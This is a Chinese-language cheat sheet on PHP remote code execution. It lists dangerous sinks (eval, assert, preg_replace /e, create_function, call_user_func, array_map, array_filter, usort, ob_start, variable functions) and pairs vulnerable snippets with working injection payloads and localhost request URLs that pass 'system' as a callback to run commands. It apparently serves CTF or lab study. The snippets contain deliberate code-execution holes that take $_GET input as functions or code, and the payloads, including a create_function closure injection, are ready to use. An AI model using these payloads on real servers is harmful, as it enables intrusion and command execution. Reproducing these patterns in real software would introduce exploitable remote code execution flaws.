PHP代码执行
eval、assert
preg_replace()、mb_ereg_replace()、mb_eregi_replace()
preg_replace_callback()
create_function()
array_map()
call_user_func()、call_user_func_array()
array_filter()
usort()、uasort()
ob_start()、ob_end_flush()
${}、$_GET、$a($b)
eval(string $code): mixed
1、参数以变量形式传入时,可加 双引号,但不能加 单引号(单引号不解析变量)
2、可多层嵌套:eval(eval(eval(system('apt moo'))));
通过 括号、引号 闭合代码
通过 单行注释,截断右边代码,可通过 */ \* ,截断前后代码
通过 分号,执行多句代码
assert、eval区别
1、eval 执行多条语句,assert 执行1句
2、assert是函数,可直接、拼接调用,eval不行(语言结构) // PHP7.0.0开始,assert是语言结构
3、eval 可嵌入php标签,assert不行
4、eval的参数,分号不能少,assert的参数,不用分号
preg_replace("/test/e",$_GET["h"],"jutst test"); // 在参数3里,查找参数1,若包含参数1,用参数2 替换,参数2会被执行
1、参数1使用修饰符 e(代表eval)
2、替换须成功
3、参数2能控制
mb_ereg_replace()、mb_eregi_replace()
与 preg_replace() 类似,e修饰符 为第4个参数 别名:mbereg_replace() mbereg_ireplace()
preg_replace_callback(参数1,callback,参数3) // 查看 参数3中是否包含参数1,若包含,将包含的数据交给 callback 处理
1、callback能控制
2、参数1能控制
3、替换须成功
// 内部执行的eval,8.0.0移除
// create_function(形参,函数体),参数类型都是字符串,返回1个 lambda函数
// 源码
error_reporting(0); // 关闭所有PHP错误报告
$sort_by = $_GET['sort_by'];
$sorter = 'strcmp';
$sort_function = 'return 1 * ' . $sorter . '($a["' . $sort_by . '"],$b["' . $sort_by . '"]);';
$lambda_func = create_function('$a,$b', $sort_function); // " lambda_1"
$lambda_func(...$_GET);
调试:
$lambda_func:" lambda_1"
$sort_by:""]);}system('set');/*"
$sort_function:"return 1 * strcmp($a[""]);}system('set');/*"],$b[""]);}system('set');/*"]);"
$sorter:"strcmp"
// 将 调试的内容 拼凑起来
function lambda_1($a,$b){
return 1 * strcmp($a[""]);}system('set');/*"],$b[""]);}system('set');/*"]);
}
// 格式化后:
function lambda_1($a, $b)
{
return 1 * strcmp($a[""]);
}
system('set');/*"],$b[""]);}system('set');/*"]);
}
1、将 lambda_1() 写出来
2、将所需的 形参,函数体 拼进去
3、在函数体中对 可控变量 进行注入(闭合,注释)
4、lambda_1()只要能注成功,payload就能打
array_map(callback,...array) // 把数组中每个元素,都交给 callback 处理
$a = ['a', '9', 'apt moo', 'set'];
array_map($_GET['callback'], $a);
http://localhost:555/array_map.php?callback=system
call_user_func(callback,callback的参数)
// 只传 callback()
call_user_func($_GET['callback']); // http://localhost:1111/call_user_func.php?callback=phpinfo
// 传多个callback的参数
call_user_func($_GET['callback'], $_GET['a'], $_GET['b']); // http://localhost:1111/call_user_func.php?callback=var_dump&a=GOOD&b=LUCK
// 把函数体写进去
call_user_func(function ($arg) {echo $arg;}, GOODLUCK); call_user_func(function () {echo 'GOOD LUCK';});
call_user_func_array(callback,callback的参数:array)
// 空数组,源码中的 [] 不能少,但传参时,可不传
call_user_func_array($_GET['callback'], []); //http://localhost:1111/call_user_func_array.php?callback=phpinfo
// 非空数组,须用 []
call_user_func_array($_GET['callback'], $_GET['a']); // http://localhost:1111/call_user_func_array.php?callback=system&a[]=ls
call_user_func_array($_GET['callback'], ['ls']); // http://localhost:1111/call_user_func_array.php?callback=system
// 把函数体写进去,数组不能省
call_user_func_array(function ($arg) {echo $arg;}, ['GOOD LUCK']); call_user_func_array(function () {echo 'GOOD LUCK';}, []);
array_filter(array,callback) // 把数组中每个元素,都交给 callback 处理(过滤)
// 单个参数
array_filter($_GET['a'], $_GET['callback']); // http://localhost:1111/array_filter.php?callback=system&a[]=ls
// 多个参数
array_filter($_GET, $_GET['callback']); // http://localhost:1111/array_filter.php?callback=system&a=1&b=5&ABC=set
array_filter([1, 9, 'set'], $_GET['callback']); // http://localhost:1111/array_filter.php?callback=system
usort(array,callback)
// 函数初衷是排序,参数array的元素至少 2个
// 低版本(5.6.3*),似乎可用 system()接收多个参数,并成功执行
// uasort() 利用方式相同
uasort($_GET, 'var_dump'); // http://localhost:1111/usort.php?a=GOOD&2=LUCK
$a = usort(...$_GET); // http://localhost:1111/usort.php?1[]=GOOD&1[]=LUCK&2=var_dump
ob_start('system'); echo 'firefox'; // 打开firefox
ob_end_flush() // 将执行结果的最后1行输出
// ${}
放入花括号的 php语句会被执行 ${system('apt moo')}; {${}};
// $_GET
$_GET['func']($_GET['cmd']);
// $a($b)
$a = 'system'; $b = 'apt moo'; $a($b);
GET、POST 传参时,参数名中包含 空格 . [ + 会被转换成 _
// 5种标签
1、<?php
2、<?
3、<?= // 等同于 <?php echo
4、<script language='php'>phpinfo();</script>
5、<% phpinfo(); %> // php.ini 中须开启 asp_tags=On,PHP 7.0.0 已移除